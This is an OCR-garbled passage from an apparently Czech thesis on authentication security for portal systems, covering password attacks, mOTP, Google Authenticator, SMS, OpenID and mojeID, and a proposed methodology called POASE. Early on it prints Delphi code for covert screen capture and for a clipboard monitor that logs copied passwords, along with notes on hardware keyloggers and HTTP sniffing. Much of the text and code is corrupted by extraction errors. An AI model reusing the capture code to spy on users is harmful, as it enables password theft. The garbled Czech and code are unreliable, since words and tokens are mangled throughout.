obrazovky je nasleduijici:
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procedure
Obrazek(pozx,pozy,sirka,vyska:INteger;soubor:String );
var
b:TBitmap;
iIm:TJIPEGImage;
h:Real,

procedure ScreenShot(activeWindow: bool;
destBitmap : TBitmap) ;

var
w,h : integer;
DC : HDCG,;
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hwin : Cardinal,
r: TRect;
begin
if activeWindow then
begin
hWin := GetForegroundWindow;
dc := GetWindowDC(hWin) ;
GetWindowRect(hWin,r) ;
w :=r.Right - r.Left;
h := r.Bottom - r.Top;
end
else
begin
hWin := GetDesktopWindow;
dc := GetDC(hWin) ;
w := GetDeviceCaps (DC, HORZRES) ;
h := GetDeviceCaps (DC, VERTRES) ;
end,

try
destBitmap.Width := w;

destBitmap.Height := h;
BitBlt(destBitmap.Canvas.Handle,

pozx,

pozy,

sirka,

vyska,

DC,

0,

0,

SRCCOPY) ;
finally
ReleaseDC(hWin, DC) ;
end,;

end;

begin

b := TBitmap.Create;
im:=TJPEGImage.Create;
try
ScreenShot(FALSE, b) ;
im.CompressionQuality:=20;
Im.Scale:=jpeg.jsEighth;
im.Assign(b);
im.SaveToFile(soubor);
finally
b.Freelmage;
im.Free;
FreeAndNil(b) ;
end;



| end;

5.3.3. Hardwarové keyloggery a screengrabbery

Hardwarové proseédky pro zachytavani klavesnice jsou v podstabftwarov
nedetekovatelné a je také velice nepraadlobné, e by uivatel pd kadou praci
s poita em kontroloval zapojeni periférii. Na druhou strageupro utok (na rozdil od
softwarovych prosedk ) nutny fyzicky pistup Gtonika k poita i. Hardwarové zachytave
klavesnice a monitoru Ize koupit za ceny okolo 108D, pi em n které z nich umi

automaticky odesilat ziskané Uudajeginternet pomoci viastni Wi-Fi konektivity. (Kesd)
5.3.4. Odposlech hesla ze schranky

Pro spravu hesel uivatelé mohou vyu ivat aplikgo® ukladani hesel v zaSifrované
podob chrdnné jednim tzv. master heslem. Tyto aplikace vSakvy®iji bezpenost
autentizace. V nejlepSim ipad umo ni uivatel m spinit po adavek na zn&a hesla do
r znych systém. Problémem vSak stava penos hesla do vzdaleného systému. Typické pro
tento dkon byva pouiti schranky. Heslo se tedy alwazuje na monitoru, ale u ivatel
pokynem zkopiruje heslo do schranky a vioi do pmaaného pole v cilovém systému.
Nasledujici piklad ukazuje, jak se snadné globalkontrolovat schranku. (zdroj: autor),
(Svoboda, a dalsi, 2001)

Op t je nejprve nutné zahrnout program dggmc udalosti schranky.

procedure TForm1.bCPBCatchClick(Sender: TObject);

begin

Naslednik:=SetClipboardViewer(Handle);

bCPBCatch.Enabled:=false;

bCPBRElease.Enabled:=true;

end,

Pro zachyceni vloenych (daj do schranky sloui systémova zprava

WM_DRAWCLIPBOARD. Tu je nutné nasledujicim zgmbem oSeit.

procedure OnDrawClipboard(var
msg: TWMDrawClipboard); message WM_DRAWCLIPBOARD;
procedure TForm1.0OnDrawClipboard(var msg:
TWMDrawClipboard);
begin
if Clipboard.HasFormat(CF_TEXT) then
m.Lines.Add(clipboard.AsText) else m.Lines.Add('Nen [
text’);
SendMessage(Naslednik, WM_DRAWCLIPBOARD,0,0);
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end:;

5.3.5. Odposlech hesla zachyceny v siti

Jak bylo uvedeno v analyze literarnich zdrgjrotokol HTTP nema adné zabezpei
p endSenych Udaj V asti vnované bezpeosti autentizace agroportabyl u portalu
Internet pro chovatele zjist penos hesla v nezabezpeé podob. Pomoci programu
Wireshark bylo ov eno tvrzeni, e zakladnim po adavkem na bezmest autentizace je
pou ivani HTTPS protokolu pro zabezmmi spojeni. Rklad zachyceného paketu

s autentizanim Udajem je na obrazku dole (Obrazek 22).

Obréazek 22 Zachyceni autentizanich Gdaj protokolem HTTP (zdroj: autor)

5.3.6. Shrnuti
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Pou ivani hesla jako autentizaho prostedku je vysoce rizikové a obrana proti Utoku
je ttm nemo na. Dvodem je nemnny autentizani udaj (heslo), jeho odhalenim ziskavéa
ato nik p istup k u ivatelov identit .

S ohledem na bezpeost komunikanich kanal by také mlo byt minimalni nutnosti
pou ivani zabezpeeného protokolu HTTPS, ktery zajisti alespmemo nost zachytit heslo

p i p enosu na cilovy pata .

77



5.4. Vlastni implementace autentizace mOTP
5.4.1.mOTP

Autentizaci pomoci OTP prostdnictvim mobilnich telefon je v novan samostatny
open-source projekt mOTP. Vramci tohoto projekéu ZajiStna podpora pro ¥Sinu
mobilnich platforem. Diky Siroké podp® je moné tento zpsob autentizace snadno

implementovat do uSiny b nych systém, v etn LDAP. (mOTP)

Obrazek 23 mOTP (zdroj: autor)

5.4.2.P iklad implementace v MySQL

Autor pedkladané prace vytvib funkci pro integraci jednorazovych hesel
generovanych mOTP do databazového serveru MySQL.

Nasledujici piklad prezentuje jednoduché ogni pomoci autorem vytvené funkce
pro MySQL. Funkce vraci hodnotu 1, pokud je u ivate zadany jednorazovy kéd platny.
Zarove funkce zabrauje opakovanému pou iti stejného kodu v platnesovem okn

S ohledem na bezpeost je vhodné tabulky umistit dasti databadze se zvySenou
arovni bezpenosti z d vodu ochrany proti kompromitaci sdileného tajemgtofler, 2007),
(Gilfillan, 2003)

Deklarace funkce Login(parzam_id,lp_Heslo)
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Parzam_id je zanstnaneckéislo v internim systému

Lp_Heslo je kéd vygenerovany mOTP tokenem

BEGIN

declare klic char(50);
declare pin int;

declare tims bigint;

declare i int;

declare ok int;

declare hotovo int default O;
declare mkheslo char(10);

declare mk cursor for
select stareheslo from security.zampasshist
where ts>=Round(Unix_timestamp(now())/10,0)-18 and
zam_id=parzam_id;
declare continue handler for not found set
hotovo=1,

set tims=round(unix_timestamp(now())/10,0);

select ukey,upin from security.zam where
zam.zam_id=parzam_id into klic,pin;
set i=36;
set ok=0;
OPEN mk;
overheslo: LOOP
fetch mk into mkheslo;
if hotovo=1 then leave overheslo; END IF;
if mkheslo=Ip_Heslo then set ok=2;leave
overheslo; END IF;
END LOOP overhesilo;
if ok=0 then
cykl: while i>0 do
if left(md5(concat(tims-
i+18,Klic,pin)),6)=Ip_Heslo then
set ok=1;
insert into
security.zampasshist(ts,stareheslo,zam_id) values
(tims-i+18,Ip_Heslo,parzam_id);
leave cykl;
end if;
set i=i-1;
end while cykil;
end if;
return ok;
END



Tabulka “zam™ obsahuje propojeni do tabulky zstmanc pes primarni Kli
zam stnaneckéhoisla (‘'zam_id"). Dale obsahuje atribut "ukey™ pro pdilené tajemstvi,

které je et zeno s atributem “upin” pro zajigt vysSi bezpenosti na stranklienta.

CREATE TABLE zam’ (

“zam_id" INT(11) UNSIGNED NOT NULL,
‘ukey” CHAR(50) NULL DEFAULT NULL,
“upin” INT(11) NULL DEFAULT NULL,
PRIMARY KEY (‘zam_id"),

UNIQUE INDEX "zam_id" (‘zam_id"),
INDEX “zam_id_2" (‘zam_id")

)

COMMENT="Zam security informations'
COLLATE='cpl1250 general _cf'
ENGINE=MyISAM;

Tabulka “zampasshist® obsahuje Udaje o pou ityclsldod, aby nebylo mo né

opakovan pou it posledni heslo. Toto bezp®wstni opaeni zabrauje opakovanému pou iti
jednoho hesla tlhhem asového okna pro platnost hesla.

CREATE TABLE "zampasshist™ (
“zampasshist_id” INT(11) UNSIGNED NOT NULL
AUTO_INCREMENT,
“ts” BIGINT(20) UNSIGNED NULL DEFAULT NULL,
“stareheslo” CHAR(10) NULL DEFAULT NULL,
“zam_id" INT(11) UNSIGNED NULL DEFAULT NULL,
PRIMARY KEY (‘zampasshist_id"),
UNIQUE INDEX “zampasshist_id" (‘zampasshist_id"),
INDEX “zampasshist_id_2" (‘zampasshist_id")
)
COMMENT="Pass history'
COLLATE='cpl1250_general _cf'
ENGINE=MyISAM
AUTO_INCREMENT=21;

5.4.3. Shrnuti

Vlastni implementace autentizace je, jak je vida uvedeném fkladu, pomrn
jednoducha. Pro vysSi bezpest je vhodné omezit mo nost hadani hesla (passwor
guessing). Nevyhodou tohot@Seni je nutnost ulo eni sdileného tajemstvi navesar

v otevené podob. To je vSak nevyhodou pro vSechny generatory OTP.
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5.5. Technologie Google Authenticator
5.5.1. Popis slu by

Firma Google vyvinula aplikaci pro spravu klik jednordzovym hesin. Déale tato
aplikace umo uje také dvoufédzovou autentizaci. VMopdni verzi byla tato aplikace dostupna
pouze pro Uty Google, ale nyni je mo né ji pou ivat také prpravu dalSich &t . Google
nevytvai nové mechanismy pro tvorbu jednorazovych heselyychazi ze standardu HOTP
— HMAC-Based One-Time Password Algorithm popsaifiRwC4226) a kapitole 4.4.4.

Obrazek 24 ukazuje vychozi obrazovku aplikace Godglthenicator se dwma Uty.

Pro kady z tchto Ut je generovan kéd s omezen@asovou platnosti.

Obrazek 24 Generator OTP Google Authenticator (zdrpautor)
P vodni algoritmus dle RFC 4226 vygdtava heslo z tajného ki (K) a poitadla (C),
které se zvySuje o jedhkiu pi kadém poadavku na nové heslo. Vym hesla je
nasledujici:

HOTP(K,C)=Truncate(HMAC-SHA-1(K,C))
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Uvedeny algoritmus zaruje nemo nost zjistit nasledujici heslo a zarovéliky
ireverzibilit funkce SHA1) neni mo né zjist tajny kli nebo hodnotuita e.

Pro ov eni na zaklad asu je vyuito algoritmu TOTF- Time-based One-time
Password Algorithm popsany (RFC6238) v kapitole 4.4.4Hlavni rozdil oproti HOTF
spo iva vpou iti asu jako ita e (C). Ten se mni vt icetisekundovych intervalech a syst
akceptuje jedno pdchozi a jedno nasledujici he

Synchronizaci tajného hesl aplikaci Google Autenticator je mo né provést pomc
QR kodu, ve kterém je zakodovana specificka URlesa(otpauth://totp), které jsouepany
nésledujici parametry:

Nazev utu (viditelny u ivateli)
Sdilené tajemst

Cela adresa zakddovan QR kodu je pak

Otpauth://totplUcet?secret=HesloVBase32Ko(Caletka)

a kéd vypada nasledowvi

Obrazek 25 QR kéd pro synchronizaci Gtu (Caletka)

U et je také mo né nastavit rn  zadanim néazvu tu, sdileného tajemstvi a zgobu
vypo tu ( as/poitadlo). Vp ipad volby po itadlem je nutné generovat kod stiskemitka,

aby nedoslo lporuSeni synchronizac po itadlem na serveru.
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Obrazek 26 Google Authenticator - runi zadani (zdroj: autor)

5.5.2. Implementace slu by do portalu

Implementace sluby je obdobna jako v kapitole 5m,ni se pouze vypet
jednorazoveho kodu.

5.5.3. Shrnuti

Pro zp sob autentizace pomoci technologie Google Authataiglati podobné shrnuti
jako pro autentizaci pomoci mOTP. igad ukon eni podpory Google Authenticator je
mo né slu bu nahradit s ohledem na otemost vypotu jednorazovych hesel. AktualwSak
neni poteba tvoit vliastni generator — Ize pou it tento s mo nostu iti na vice platforméach.

Spole nost Google je uznavanou spalesti s rozsahlou podporou pr&. (Novotny, a
dalsi, 2011) Stale se vSak jedna o komerspolenost a neni jista podpora produkt

v budoucnosti.
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5.6. Ov enipomoci zprav SMS

5.6.1.Vyuitisluebt etich stran

Vyuiti slueb t etich stran sloui krozesilani SMS zpravep API jednotlivych
poskytovatel, zpravidla za stanoveny poplatek dle fpoodeslanych zprav. Tuto slu bu Ize
zprovoznit velmi rychle.

Levhesms.cz
SMSmanager.cz
Mobilem.cz
Smsmidlet.com

Sms.sluzba.cz
5.6.2. Vlastni hardwarové eSeni

Z hlediska bezpeaosti je vyhodnjSi umistni propojeni do GSM sitco nejbli e
operatorovi. Zde jchazi v ivahu GSM Ustdna s mo nosti ovladani gs PC. Odpadé tak
vyu ivani slu eb tetich stran a tim je vyloena mo nost napadeni dalSihi@nku v et zci
odesilani SMS.

5.6.3. Shrnuti

Ov eni autentizace pomoci SMS zprav Ize povaovat eéddn dob za jeden
Z nejbezpen jSich prostedk autentizace a to evan zdvodu vyuiti nezavislého
komunikaniho kanalu.

Velkou nevyhodou je vysoka cena za odesilani SMS8lyavysoké provozni naklady.
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5.7. Technologie OpenlD
5.7.1. Popis technologie

Technologie OpenlD umouje provést autentizaci u ivatele proti autentiaaslu b
t eti strany. Zejmou vyhodou pro koncového uivatele je pou ivdpbuze jednch
autentizanich udaj pro vice slueb. Slubu je vSak pouze mo né pouziad nasledujicich
p edpoklad:
1. U ivatel portélu je zarove u ivatelem vybrané slu by
2. Provozovatel portdlu stranky pova uje uvedeného kpmwatele OpenlD za
dostaten d v ryhodného a zaroveob strany musi podporovat technologii OpenID
U ivatel je p i p ihlaSeni pesmrovan na phlaSovaci stranku na zakladvého OpenlID. Tato
p ihlaSovaci strdnka po Usfné autentizaci pda izeni pvodni strdnce s informaci o
autentizovaném u ivateli.

5.7.2. Poskytovatelé

Jak bylo uvedeno v pdchozi kapitole, mt by byt poskytovatel OpenID ¢ti
strana) dostate d v ryhodnym partnerem pro provozovatele portalu/irgtan
Aktualn jsou do projektu zapojeny nasledujici vyznamnéghar
Google
Yahoo
LiveJournal
Hyves
Blogger
Flickr
Orange
Mixi
MySpace
WordPress
Aol

5.7.3. Postup p ihlaSovani
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Po implementaci pslusnych funkci je moné pat do pihlaSovaciho dialogu
nasledujici kdd, ktery bude slou itiplaSenim pes slu bu OpenlD (samotna funkcionalita je

obsa ena v PHP skriptu login2-openid.php.

<!-- OpenID formula -->

<form method="post" action="login2-openid.php">
<fieldset><legend>P ihlaSeni p es OpenlID</legend>
<p>

<label for="openid">0OpenID</label>
<input type="text" id="openid" name="openid" />
</p>
<p><input type="submit" name="login"
value="P ihlasit" /></p>
<[fieldset>
</form>

5.7.4.Shrnuti

Slu bu OpenlID je vyhodné pou it pvytvo eni portalu, kde bude ekavan pistup
u ivatel z celého svta. Bezpenost systému zavisi nawd ryhodnosti komemiho subjektu,
co lze povaovat za potenciondlni riziko. Tyto kemni subjekty také negarantuji
d v ryhodnost vlo enych Udaj— informaci o u ivateli.

Slu bu OpenlD je vhodné pou it pro identifikaci watel , kde neni zapotébi garance

toto nosti u ivatele.
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5.8. Slu ba mojelD
5.8.1.Popis slu by

Sluba mojelD je eskou implementaci sluby OpenlID. Zahrnuje tedy qlwté
vlastnosti, jaké byly popisovany v kapitole 5.7.attimi rozdily oproti OpenID jsou
nasledujici: (MojelD)

Ov eni existence u ivatele (mojelD vyu ivéikroky pro ov eni u ivatele — e-
mailova adresa, vlastnictvi mobilniho telefonu stéctvi poStovni adresy)
Omezeni duplicitnich identit

eské u ivatelské prostdi

eské technicka podpora (telefon, mail)
Vice metod autentizace uivatele (certifikat ngové kart, vicefaktorova

autentizace)
5.8.2.Finan ni naro nost

Slu ba registrace je u ivatem k dispozici zdarma.

Pro vyuivani ov ovani proti mojelD s podrobnymi informacemi o utel a
dodatenymi slu bami je nutné sepsani smlouvy. RD platba za vyu ivani slu by ini
aktualn 1.000,- K bez DPH.

5.8.3.Naro nost implementace slu by

Jak bylo uvedeno vysSe, sluba je zaloena na tetdgio OpenlD a velka ast
implementace je toto nd s touto technologii. Propliementaci jsou fpravené ukazkové
kody v etn hotovych implementaci pro open-source systémy.

Z obecnych kod jsou k dispozici balky pro Javu a PHP.

Z open-source systénjsou zahrnuty nasledujici implementace:

Drupal (redakni systém)
phpBB
Joomla/Virtuemart
Magento

Redmine
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PrestaShop

Zen Cart
osCommerce
Simple Machines

OpenCart
5.8.4. Shrnuti

Sluba mojelD spluje podminky na bezpeou autentizaci — zapouzge v sob
n kolik mo nosti autentizace — heslem, certifikatejpgdnordzovym heslem nebo pomoci
zélo nich kod . Jeji vyu iti tak eSi nejastji zmi ovany problém spojeny s jednordzovymi
hesly — nutnost vlastnit autentiza token pro ka dou slu bu. Vtomto fpad je sluba
pouze jedna a je pova ovana zavdryhodnou.

Forma pedavéni informaci je obdobné jako u dnes pou ivargstému internetovych
platebnich bran. U ivatel je psmrovan s po adavkem na provedeni platby obchodnikavi
d v ryhodnou teti stranu — platebni branu. Po (8pem ov eni isla platebni karty a dalSich

autentizanich udaj je zp t obchodnikovi pedana zprava o usgné platb.
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5.9. Vyb r autentiza ni technologie

5.9.1. Podminky bezpenosti autentizace

Bezpe na autentizani slu ba musi splovat nasledujici kritéria:

1. Pouiti protokolu HTTPS pro gnos dat. Tento po adavek by hbyt prvotnim
p i jakékoliv innosti s nutnosti autentizace u ivatele.

2. VSechny lanky autentizaniho mechanismu by ry pou ivat technologii
DNSSEC pro ov eni pravosti zaznamu v DNS.

3. Autentizani mechanismus by rhpodporovat nkterou z forem vicefaktorové
autentizace nebo iplasSeni ipovou kartou.

4. Sluba by nemla byt zalo ena na uzagnych technologiich a mechanismech

komer nich subjekt, které negarantuji identitu owvanych u ivatel.
5.9.2. DalSi podminky a po adavky na autentizani mechanismus

Mimo bezpenostnich kritérii by mla autentizani metoda splovat také nasledujici
po adavky: (Vaniek, 2004)

1. Funk nost

2. Bezporuchovost

3. Pou itelnost

4. U innost

5. Udr ovatelnost

6

. P enositelnost
5.9.3. Vhodna autentiza ni metoda pro metodiku POASE

Nejenom dle Vanka (Vaniek, 2004) je mezi vybranymi metrikami pro hodnoceni
jakosti nepima umra. NavySenim hodnoceni jedné metriky dojde ke esni hodnoty
metriky jiné. Pikladem mohou byt bezpeost a pou itelnost. Ve #Sin pipad vede
zvySeni bezpaosti ke sni eni Urovnpou itelnosti. Naopak systém, do kterého se uélat
nemusi pihlasSovat je snadno pou itelny, ale jeho beapest je velice nizka.

Z vySe uvedeneho vyplyva, e zvySeni bezpmsti autentizace pravgodobn povede

ke sni eni pou itelnosti.

89



Na zaklad zkoumani autentizaich slu eb byla lexikografickou metodou jako slab

vhodna pro metodiku POASEuU ba mojelD a to z nasledujicich @od :

Podpora pghlaSovani pomoci jediného identifikatoru k vicas Bm — pro
u ivatele tim odpada sprava u ivatelskych jmen adiék r znym slu bam
Sdrueni CZ.NIC Ize povaovat na z&kladvyvoje a jeho statutu za
d v ryhodnou teti stranu

Podpora phlaSovani ipovou kartou s certifikatem & ryhodné certifikani
autority, tedy v souasné dob nejbezpen jSi zp sob pihlaSovani

Podpora vicefaktorové autentizace pomoci slu by @@®duthenticator, aviak
Google Authenticator lze vipad kompromitace nebo ukoani podpory
software od spoleosti Google nahradit jinymeSenim, nebo technologie
Google Authenticator je postavena na standardizamraprotokolech

P enos Udaj je zabezpeen protokolem HTTPS

Doména mojeid.cz je chrama technologii DNSSEC

Podpora vicefaktorové autentizace od poskytovasdleby OpenID je eSenim

problému nastimého v analyze literarnich zdrof u ivatel musi pro ka dy nezavisly ét

vlastnit prav jeden token — generator jednorazovych hesel.ipjad jednoho identifikatoru

stai pouze jeden token a u ivatel ho diky vlastnostepenID m e pou it pro vice portal.

5.9.4. Shrnuti

Slu ba mojelD spluje vSechny po adavky kladené na bezpest stanovené v Uvodu.

Zarove pouze nepatrnsni uje pou itelnost celého systému. Jediny kr&gtery musi u ivatel

ud lat navic proti b né procedue registrace na portalech je vytitasi identifikator mojelD.

S tim je spojena pouze jedna u ivatelska inepivost — registrace trva déle kv ov eni

poStovni adresy. Ta je oena zaslanim autorizaiho kédu dopisem. DalSi dwerifikace

u ivatele — ov eni vlastnictvi e-mailové adresy a mobilniho tetefgsou i dnes bnym

opatenim pi registraci do portalovych aplikaci.
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6. Navrh metodiky POASE

Na zaklad vyzkumu v kapitole 5 byla pro implementaci vybrdeahnologie mojelD.
Nasledujici kapitoly se wuji navrhu metodiky Portal authentication secughhancement
(POASE).

V ramci cyklu PDCA bude nejprve proveden samotnyrimdmetodiky na zaklad
analyzy a syntéezy literarnich zdrojDale bude platnost navrhu metodiky ana aplikaci
metodiky POASE na existujici informa systém portalového typu. V dalsi fazi bude
provedeno ov eni funk nosti systému a validita metodiky,ipadn budou identifikovany
nedostatky. V gpad zjiSt nych neshod budou navr ena omati pro dalSi cyklus PDCA.
V zav re né fazi bude kontrolovana spravna funést systému.

Pro ov eni metodiky budou pou ity nasledujici metriky ailawty. Metriky a atributy
byly stanoveny autorem v souladu s normou ISO/IBE2691:2002. V solasnosti neexistuje
jednotné hodnoceni jednotlivych atributcharakteristik. Autor stanovuje nasledujici
charakteristiky a atributy v souladu s po adavkydénymi v odborné literater (Vani ek,
2004), (Ue , 2001).

*

Jméno m eného atributu| Funki néle itost

Jméno u ité miry Funkni nale itost

U el miry Funknost eSeni (jak funkce funguiji, jestli splji

po adavky na n kladené)

Metoda m eni Pozorovani

Interpretace hodnot miryy  0-neplni bec

33- plni s va nymi problémy
66- pIni s drobnymi problémy
100-plni zcela bez problém

Zdroj dat pro ureni miry | Implementace systému

Tabulka 16 Funk ni ndle itost (zdroj: autor)
< *
Miry bezpenosti jsou uvedeny v kapitole 5.2.1 na stréi.

<

Jméno m eného atributu| Dostupnost

Jméno u ité miry Dostupnost
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U el miry

Ur eni dostupnostieSeni jako celku

Metoda m eni

Slu ba monitoring-serveru.cz, neni po 5 minutach

Interpretace hodnot miry

100 — dostupnost 100%
0 — slu ba nebyla dostupna (0%)

Zdroj dat pro ureni miry

Monitoring-serveru.cz

Tabulka 17 Dostupnost (zdroj: autor)

Jméno m eného atributu

Uplnost popisu

Jméno u ité miry

UplInost popisu

U el miry

Mira dokumentace pro koncového u ivatele

Metoda m eni

Analyza dostupné dokumentace

Interpretace hodnot miry

0 — dokumentace neni gostu
50 — informace v podobuvodniho zaSkoleni nel
mo nosti kontaktovat helpdesk

100 — dokumentace je dostupna

Zdroj dat pro ureni miry

Mojeid.cz, pvodni systém

Tabulka

18 Uplnost popisu (zdroj: autor)

Jméno m eného atributu

Srozumitelnost

Jmeéno u ité miry

Srozumitelnost

U el miry

Ur eni miry srozumitelnosti pro koncové u ivatele

Metoda m eni

Pohovor s u ivateli

Interpretace hodnot miry

0 — systém neni srozunyitel

100 — systém je srozumitelny

Zdroj dat pro ureni miry

U ivatelé

Tabulka

19 Srozumitelnost (zdroj: autor)

Jméno m eného atributu

Pet zadavanych udaj

Jmeéno u ité miry

Pcet zadavanych udaj

U el miry

Poet Udaj, které musi u ivatel zadat pro Ugmou

autentizaci

Metoda m eni

Analyza phlasSovaciho procesu

Vzorec m eni

nejvyssi poet krok ve zkoumanych systémech

, kde n je poet krok pro pihlaseni, max(n) je

o
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Interpretace hodnot miry

100% - nejni Si o krok z celkového padu
0% - neni poeba adny krok pro autentizaci

Zdroj dat pro ureni miry

Systém

Tabulka 20 Po et zadavanych Gdaj (zdroj: autor)

Jméno m eného atributu

Doba odezvy

Jméno u ité miry

Doba odezvy

U el miry Doba nutna pro hlaSeni po zadani autentizéch
adaj
Metoda m eni M eni asu

Vzorec m eni

, kde t je doba pro oveni pihlaseni, max(t) je

nejvyssi zjistna doba v systémech

Interpretace hodnot miry

100% - nejrychlejsi

0% - nejpomalejsi

Zdroj dat pro ureni miry

Systém

Tabulka 21 Doba odezvy (zdroj: autor)

Jméno m eného atributu

Podpora diagnostickych funkci

Jmeéno u ité miry

Podpora diagnostickych funkci

U el miry

Mo nost zjistit pi inu chyb v systému

Metoda m eni

Analyza kdédu

Interpretace hodnot miry

100 — systéem podporujena@aenani ladicic
informaci

0 — systém nepodporuje zaznamenani ladicich fu

Zdroj dat pro ureni miry

Zdrojovy kéd systému

Tabulka 22 Podpora diagnostickych funkci (zdroj: auor)

Jméno m eného atributu

Monitorovani dat prd pnu poruchy

Jmeéno u ité miry

Monitorovani dat proipinu poruchy

U el miry

Zajistni dodateného zjistni pi in poruchy

Metoda m eni

Analyza kédu a protokol

Interpretace hodnot miry

100 — systém zachovavdokob poruch a jejich
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piin
0 — systém nezachovava protokol poruch a jg

piin

Zdroj dat pro ureni miry

Zdrojovy kéd systému

ich

Tabulka 23 Monitorovani dat pro p i inu poruchy (zdroj: autor)

Jméno m eného atributu

Funki nahraditelnost

Jmeéno u ité miry

Funkni nahraditelnost

U el miry

Zajistni nahraditelnosti systému

Metoda m eni

Analyza systému

Interpretace hodnot miry

100 — systém lze nahtsdfitproblém
50 — systém lze nahradit s komplikacemi

0 — systém nelze nahradit

Zdroj dat pro ureni miry

Implementace

Tabulka 24 Funk ni nahraditelnost (zdroj: autor)



6.1. Faze 1 — navrh metodiky

Tato kapitola je wvnovana navrhu metodiky pro nasazeni vybrané aatenfi
technologie. Jednotlivym krokn metodiky se wnuji samostatné podkapitoly.
1. Analyza stavajiciho systému a jeho vazeb
Kdo vyu iva autentizanich slu eb systému
Zhodnoceni, jak je kritické zabezm@ai autenticity u ivatele
Role u ivatel
2. Uprava vazeb stavajiciho systému
Na zaklad analyzy je nutné provést vazbu mezi stavajicintésyem a systémem
mojelD. Ke stavajicim u ivatelskym @ m je nutné pdat pole obsahujici identifikator
mojelD v podob textového et zce.
Pro role u ivatel je nutné nastavit po adované oeni u ivatele.
3. Sepsani smlouvy s poskytovatelem mojelD
Pro provozovani slu by mojelD je nutné podepsabskytovatelem Smlouvu o u iti
slu by mojelD pro pihldSeni k systénm poskytovatele. Poskytovatelem je provozovatel
systému, ktery ada o autentizaci u ivatalo svych systém Sou asti smlouvy jsou:
Podminky u iti slu by mojelD pro ghldSeni k systémm poskytovatel
Pravidla poskytovani slu by mojelD pro koncové Laiele
Cenik
Kontaktni informace
Ro ni poplatek za u ivani slu by mojelD je stanoven h@00 K (cena platna k 30. 4.
2013).
Vramci Kontaktnich informaci jsou spoteosti CZ.NIC poskytnuty (daje o
kontaktnich osobéach ve eech:
Smluvnich
Technickych
D le itym Udajem v kontaktnich informacich jsou olilddRL poskytovatele slu eb,
tedy ast prostoru URL, pro ni je adost o oweni identity platna. V této oblasti musi le et
navratova adresa.

4. Uprava smrnic a podminek vyu ivani informaiho systému
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Zavedeni bezp@é autentizace neni pouze zéle itosti ajinforma niho systému, ale
zérove se jednd o zmmu organizanich pravidel, je nutné provést reviziigusnych
dokument, které se tykaji bezpeosti pistupu a phlasovani. Revize se tyka nasledujicich
dokument:

Smrnice o vyuivani informanich technologii (v ppad intranetovych
portal )
Podminky pro vyu ivani slu eb portalu (vipad portalovych aplikaci)

5. Integrace slu by mojelD do informaiho systému

Na vSechna mista, odkud je mo néihtdSeni uivatel, je nutné pdat odkaz na
p ihlaSeni pomoci mojelD. Dale je nutné proveést omezeihlaSeni pomoci stavajiciho
p ihlaSovaciho mechanismu nasledujicimsagbem:

Pro neaktivni dstup (uivatel nema pstup k citlivym 0dajm, nem e
schvalovat apod.) systém umoni igiup stavajicim autentizaim
mechanismem nebo slu bou mojelD

Pro aktivni pistup je zakadzano ilaSeni nedv ryhodnou metodou

6. Testovani systému

Pro testovani systému je nutné zvolit reprezemtatiizorek u ivatel, skladajici se
pokud mono zevSech fpustnych roli. Testovani je nutné provést jak n@vidi
u ivatelského testovani (funkost, pou itelnost), tak na technické arovni (bezmihovost,
0 innost, udr ovatelnost, gnositelnost).

7. Zavazna doporeni pro provozovatele systému a koncové u ivatele

Metodiku POASE nelze chapat jako postup izolovadiykolnich systém Je nutné si
uv domit, e bezpenost je soubor vice opahi a e bezpena autentizace sice sni uje riziko
Gtoku na autentizaai mechanismus, ale nezabezgey systém miru bezpeosti zptn
shi uje.

Pro provozovatele systému jsou nutnosti nasledogidminky:

1. Portal vyu iva zabezpeného pipojeni HTTPS

2. Na serveru jsou nainstalovany certifikatydryhodné certifikani autority

3. Doménovy zaznam je zabezpa technologii DNSSEC

4. Na serveru jsou nainstalovany vSechny beapstni zaplaty pro opemi systéem a

aplikace

5. Systém je chram firewallem a systémy detekce piku (IDS)

Pro koncoveé u ivatele plati nasledujici pravidla:
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. DNS server vyuiva technologii DNSSEC pro oeni pravosti doménového

zadznamu (Ize ovit snadno na internetové straraép://www.nic.c)

U ivatelé neposkytuji své autentizai Udaje tetim stranam
Uivatelé udruji poita, prostednictvim kterého pstupuji k portélu,
aktualizovany a pou ivaji antivirovy program

U ivatelé jsou poueni o hrozbach phishingu a pharmingu



6.2. Faze 2 — nasazeni

P i implementaci systému je postupovano podle knoi&vr ené metodiky.
1. Analyza stavajiciho systému

Metodika byla implementovana do intranetového portée ejné vyzkumné instituce
s cca 300 zanstnanci. V souasné dob je portal naprogramovan v programovacim jazyce
PHP a pistupuje k datm centralni databaze spot& s internim informanim systémem
MySQL.

Autentizace uivatel je provadna pouze na zaklad uivatelského jména
(zam stnaneckéislo) a hesla.

Veskeré pokebné udaje jsou ulo eny v tabulce "zam™:

"Zam_ld" INT(10) NOT NULL AUTO_INCREMENT,
"Prijmeni” CHAR(30) NULL DEFAULT NULL,
“Jmeno’ CHAR(30) NULL DEFAULT NULL,

"Mobil" CHAR(9) NULL DEFAULT NULL,

"Email’ CHAR(40) NULL DEFAULT NULL,
"Nastaveni’ INT(10) NULL DEFAULT '0',

"Heslo” CHAR(20) NULL DEFAULT NULL,
“Aktivni® TINYINT(4) NULL DEFAULT '1',

‘jazyk® ENUM('cs','en’) NULL DEFAULT 'cs',
“TitulPred” CHAR(15) NULL DEFAULT NULL,
"TitulZa® CHAR(15) NULL DEFAULT NULL,
‘ldCard” CHAR(64) NULL DEFAULT NULL,
“CisloKarty™ INT(10) NULL DEFAULT NULL,
‘uvazek’ DECIMAL(6,2) NULL DEFAULT '1.00',
typ” INT(10) NULL DEFAULT '0',

“odbory” SMALLINT(6) NULL DEFAULT '0',
“knihovnavstup® INT(10) NULL DEFAULT '0',
“knihovnavystup™ INT(10) NULL DEFAULT '0',
"knihovna® SMALLINT(6) NULL DEFAULT '1',
Jednoznanym identifikatorem je islo zamstnance. Tatoisla jsou od roku 2009

p id lovana neopakovatelr(nejsou tzv. recyklovana).

Heslo je ulo eno v podobhash.

Role u ivatele je ulo ena ve spojovaci tabulce sa zam’, kterd popisuje iglusnost
zam stnanc k odd lenim (tabulka “granty’).

"Zam_|d" INT(10) NOT NULL DEFAULT '0',

"Granty_Id" INT(10) NOT NULL DEFAULT '0',
"Granty_Zam_Id" INT(10) NOT NULL AUTO_INCREMENT,
"Funkce’ CHAR(20) NULL DEFAULT NULL,

"Opravneni’ INT(10) NULL DEFAULT NULL,

“Zmenil” INT(10) NULL DEFAULT NULL,
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‘od” DATE NULL DEFAULT NULL,
"do” DATE NULL DEFAULT NULL,

Cizimi Kli i jsou tedy "'zam_id" a "granty_id".

Role uivatele je dana bitovym polem ‘opravnenieddi z opravmi je Pravo
